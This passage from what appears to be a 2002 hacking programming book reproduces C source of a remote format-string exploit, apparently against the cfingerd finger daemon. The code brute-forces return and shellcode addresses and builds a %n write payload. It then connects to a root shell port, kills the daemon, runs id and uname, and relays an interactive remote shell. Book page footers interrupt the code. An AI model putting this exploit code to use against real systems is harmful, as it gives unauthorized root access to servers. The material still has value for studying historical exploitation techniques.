if ((WEXITSTATUS(sts)) == 2) // shellcode executed (at phase 1) { printf("\nphase 2 connecting to rootshell... "); fflush(stdout); close(fd); //identd fake server fconnect(argv[2], 2, ROOTSHELLPORT); printf("\n\nThanks for using rdC products!\n\n"); exit(0); } } } int fconnect(char *hname, int what, int port) { struct hostent *host; struct sockaddr_in d; int r; char hname2[128]; char response[1024]; d.sin_family = AF_INET; d.sin_port = htons(port); bzero(hname2,sizeof(hname2)); strncpy(hname2,hname,sizeof(hname2)); host = gethostbyname(hname2); if (!host) { printf("cannot resolve\n"); exit(0); } bcopy(host->h_addr, (struct in_addr *)&d.sin_addr, host->h_length); cserver = socket(AF_INET, SOCK_STREAM, 0); // you can add a timeout here, but supossly you know if the server // is up/not firewalled, because you are using it against an authorized // machine and not in a script/not authorized machine, right? if (connect(cserver, (struct sockaddr *)&d, sizeof(struct sockaddr)) < 0) { perror("connect"); exit(1); } if (what==2) { printf("connected!\n"); fflush(stdout); rootsox(cserver); close(cserver); return; } write(cserver,"a\n",strlen("a\n")); if ((fork()) == 0) { printf("Waiting response..."); for(r=0 ; r < 19 ; r++) printf("\b"); fflush(stdout);

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


bzero(response,sizeof(response)); if (what==0) signal(SIGALRM, chld_timeo); else signal(SIGALRM, chld_timeoo); alarm(30); read(cserver,response,sizeof(response)); if (strstr(response,"SIGILL")) { printf("Illegal Instruction\r"); fflush(stdout); close(cserver); exit(0); } if (strstr(response,"SIGSEGV")) { printf("Segmentation Fault.\r"); fflush(stdout); close(cserver); exit(0); } //you might add strings here.. if (strstr(response,"Sorry, that user doesn't exist") || strstr(response,"Debian GNU/Linux")) { printf("server not crashed.\r"); fflush(stdout); close(cserver); exit(0); } } //close(cserver); } /* <huh> */ void chld_timeo() { alarm(0); signal(SIGALRM, SIG_DFL); printf("EIP FOUND! - SHELLCODE ADDR OK!\n"); fflush(stdout); close(cserver); exit(1); } void chld_timeoo() { alarm(0); signal(SIGALRM, SIG_DFL); printf("shellcode executed!\n"); fflush(stdout); close(cserver); exit(2); } /* </huh> */ int rootsox(int sox) { fd_set rset; int n; char buffer[4096];

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


/* we kill the cfingerd in eternal loop and we run other nice commands ;) */ char *command="/bin/killall -9 cfingerd ; /bin/uname -a ; /usr/bin/id\n"; send(sox, command, strlen(command), 0); for (;;) { FD_ZERO (&rset); FD_SET (sox, &rset); FD_SET (STDIN_FILENO, &rset); n = select(sox + 1, &rset, NULL, NULL, NULL); if(n <= 0) return (-1); if(FD_ISSET (sox, &rset)) { n = recv (sox, buffer, sizeof (buffer), 0); if (n <= 0) break; write (STDOUT_FILENO, buffer, n); } if(FD_ISSET (STDIN_FILENO, &rset)) { n = read (STDIN_FILENO, buffer, sizeof (buffer)); if (n <= 0) break; send(sox, buffer, n, 0); } } return 0; } //heavly modified formatstring engine from rdC-LPRng.c exploit - 12/00 preparebuf(int sel, int off, int what) { unsigned long addr; unsigned long a, b, c, d; int pas1,pas2,pas3,pas4; int i; char temp[512]; char buf[512]; char atemp[128]; char bufx[512]; startaddr = startaddr - 0x4; addr = startaddr; bzero(temp,sizeof(temp)); bzero(buf,sizeof(buf)); bzero(bufx,sizeof(bufx)); bzero(atemp,sizeof(atemp)); if (addr == stopaddr) { printf("\nreached stopaddr, change shellcode address/fsc\n"); exit(1); } if(what) { off-=mmm;

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it

Hackers Programming Book


mmm++; } if (mmm == 185) { printf("?!.. we cant find the first character of our shellcode!#@\n"); exit(0); } snprintf(temp,sizeof(temp),"%p",types[sel].shaddr+types[sel].offset+off); sscanf(temp,"0x%2x%2x%2x%2x",&a,&b,&c,&d); pas1 = d - (16 * 2); pas1 = cn(pas1); pas2 = c - d; pas2 = cn(pas2); pas3 = b - c; pas3 = cn(pas3); pas4 = a - b; pas4 = cn(pas4); if(what) addr = glob; else glob = addr; printf("eip: %p - shellcode addr: %p ",addr,types[sel].shaddr+types[sel].offset+off); fflush(stdout); for (i=0 ; i < 4 ; i++) { snprintf(atemp,sizeof(atemp),"%s",&addr); strncat(buf, atemp, 4); addr++; } snprintf(bufx,sizeof(bufx),"%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n%%.%du%% %d$n",pas1,(types[sel].fsc),pas2,(types[sel].fsc)+1,pas3,(types[sel].fsc) +2,pas4,types[sel].fsc+3); strcat(buf,bufx); bzero(pbuf,sizeof(pbuf)); strncpy(pbuf,buf,sizeof(pbuf)); } cn(unsigned long addr) { char he[128]; snprintf(he,sizeof(he),"%d",addr); if (atoi(he) < 8) addr = addr + 256; return addr; }

Copyright 2002 Flavio Bernardotti HackersBook@crackinguniversity2000.it